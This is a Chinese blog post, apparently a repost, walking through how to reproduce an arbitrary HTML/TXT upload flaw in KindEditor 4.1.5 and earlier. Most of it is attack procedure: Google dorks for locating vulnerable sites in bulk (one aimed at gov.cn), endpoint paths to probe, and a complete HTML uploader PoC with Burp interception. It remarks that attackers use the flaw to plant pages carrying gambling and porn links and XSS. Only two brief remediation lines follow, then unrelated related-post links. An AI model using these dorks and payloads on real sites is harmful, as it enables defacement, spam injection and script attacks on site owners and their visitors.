kindeditor<=4.1.5上传漏洞复现

kindeditor<=4.1.5上传漏洞复现0x00漏洞描述漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中这里

大家好,又见面了,我是你们的朋友全栈君。

0x00 漏洞描述

漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中

这里html里面可以嵌套暗链接地址以及嵌套xss。Kindeditor上的uploadbutton.html用于文件上传功能页面,直接POST到/upload_json.*?dir=file,在允许上传的文件扩展名中包含htm,txt:extTable.Add(“file”,”doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2″)

 

0x01 批量搜索

在google中批量搜索:

inurl:/examples/uploadbutton.html

inurl:/php/upload_json.php

inurl:/asp.net/upload_json.ashx

inurl://jsp/upload_json.jsp

inurl://asp/upload_json.asp

inurl:gov.cn/kindeditor/

 

 

0x02 漏洞问题

根本脚本语言自定义不同的上传地址,上传之前有必要验证文件 upload_json.* 的存在

/asp/upload_json.asp

/asp.net/upload_json.ashx

/jsp/upload_json.jsp

/php/upload_json.php

可目录变量查看是否存在那种脚本上传漏洞:

kindeditor/asp/upload_json.asp?dir=file

kindeditor/asp.net/upload_json.ashx?dir=file

kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

0x03  漏洞利用

google搜素一些存在的站点 inurl:kindeditor

1.查看版本信息

http://www.xxx.org/kindeditor//kindeditor.js

<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 

2.版本是4.1.10可以进行尝试如下路径是否存在有必要验证文件 upload_json.* 

kindeditor/asp/upload_json.asp?dir=file

kindeditor/asp.net/upload_json.ashx?dir=file

kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

3.如下图可以看出是存在jsp上传点:

http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file

<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 
 

4.写出下面的构造上传poc,这里需要修改<script>…<script>以及url : 的内容,根据实际情况修改.

<html><head>

 

<title>Uploader</title>

 

<script src="http://www.xxx.org/kindeditor//kindeditor.js"></script>

 

<script>

 

KindEditor.ready(function(K) {

 

var uploadbutton = K.uploadbutton({

 

button : K('#uploadButton')[0],

 

fieldName : 'imgFile',

 

url : 'http://www.xxx.org/kindeditor/jsp/upload_json.jsp?dir=file',

 

afterUpload : function(data) {

 

if (data.error === 0) {

 

var url = K.formatUrl(data.url, 'absolute');

 

K('#url').val(url);}

 

},

 

});

 

uploadbutton.fileBox.change(function(e) {

 

uploadbutton.submit();

 

});

 

});

 

</script></head><body>

 

<div class="upload">

 

<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />

 

<input type="button" id="uploadButton" value="Upload" />

 

</div>

 

</body>

 

</html>

 

5.用浏览器打开,然后开启bupsuit进行拦截发送,可以看到成功上传txt文件

<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 
<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 
 
 
<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现

 

6.同时也可以上传.html文件,这里就是攻击者最喜欢上传的文件(里面包含了各种暗页连接地址,如菠菜和其他色情站点链接地址)
 
<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 
 
<span role="heading" aria-level="2">kindeditor<=4.1.5上传漏洞复现
 

0x04 漏洞修复

1.直接删除upload_json.*和file_manager_json.*
2.升级kindeditor到最新版本
 

 

 

 

 

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/154990.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • Vue全家桶介绍_vue全家桶有什么好处

    Vue全家桶介绍_vue全家桶有什么好处全家桶:顾名思义。对于一个完整的中大型单页面应用项目所必须的插件和框架。一、vue-clivue-cli也叫脚手架,官方定义为Vue.js开发的标准工具!相比script标签引入1)、功能丰富对Babel、TypeScript、ESLint、PostCSS、PWA、单元测试和End-to-end测试提供开箱即用的支持。2)、易于扩展它的插件系统可以让社区根据常见需求构建和共享可复用的解决方案。3)、无需EjectVueCLI完全是可配置的,无需eject。这样你的项目就可以长

    2025年6月16日
    2
  • vue关闭eslint的方法

    vue关闭eslint的方法只需要在vue.config.js文件进行如下配置就可以(如果没有这个文件,在项目的根目录下新建一个这样的文件就可以)module.exports={lintOnSave:false}

    2022年6月10日
    34
  • 7折怎么用计算机,美国联想八通道7折好价,海淘Thinkpad X260 笔记本电脑开箱简评(附齐购物到货过程)…

    7折怎么用计算机,美国联想八通道7折好价,海淘Thinkpad X260 笔记本电脑开箱简评(附齐购物到货过程)…美国联想八通道7折好价,海淘ThinkpadX260笔记本电脑开箱简评(附齐购物到货过程)2016-06-0810:30:1896点赞288收藏127评论接上一篇购物过程贴我擦,你有完没完!!!五、转运过程(补齐剩余回国、清关、缴税、到货过程)(一)简要说明电脑到达转运仓库后,会给你绑定的电话发送一条提醒短信。本人在5月12日收到短信通知,本想给大家找找短信,都怪我手太贱已删除,哎。…

    2022年5月24日
    36
  • Security身份认证之UserDetailsService[通俗易懂]

    Security身份认证之UserDetailsService[通俗易懂]之前我们采用了配置文件的方式从数据库中读取用户进行登录。虽然该方式的灵活性相较于静态账号密码的方式灵活了许多,但是将数据库的结构暴露在明显的位置上,绝对不是一个明智的做法。本文通过Java代码实现UserDetailsService接口来实现身份认证。1.1UserDetailsService在身份认证中的作用SpringSecurity中进行身份验证的是AuthenticationMan…

    2022年4月19日
    375
  • 【SSM进阶之路】使用Spring SqlSessionTemplate API实现查询数据[通俗易懂]

    【SSM进阶之路】使用Spring SqlSessionTemplate API实现查询数据[通俗易懂]该案例的实现是基于jar包org.mybatis.spring中的SqlSessionTemplateAPI进行使用的。主要是完成如何使用SqlSessionTemplate中的API封装一个通用的查询方法。1、首先定义一个业务层数据接口:packagecom.yihg.basic.api;importjava.util.List;importjava.util.Map;

    2022年5月6日
    76
  • Java集合篇:HashMap原理详解(JDK1.8)

    Java集合篇:HashMap原理详解(JDK1.8)

    2021年10月4日
    217

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号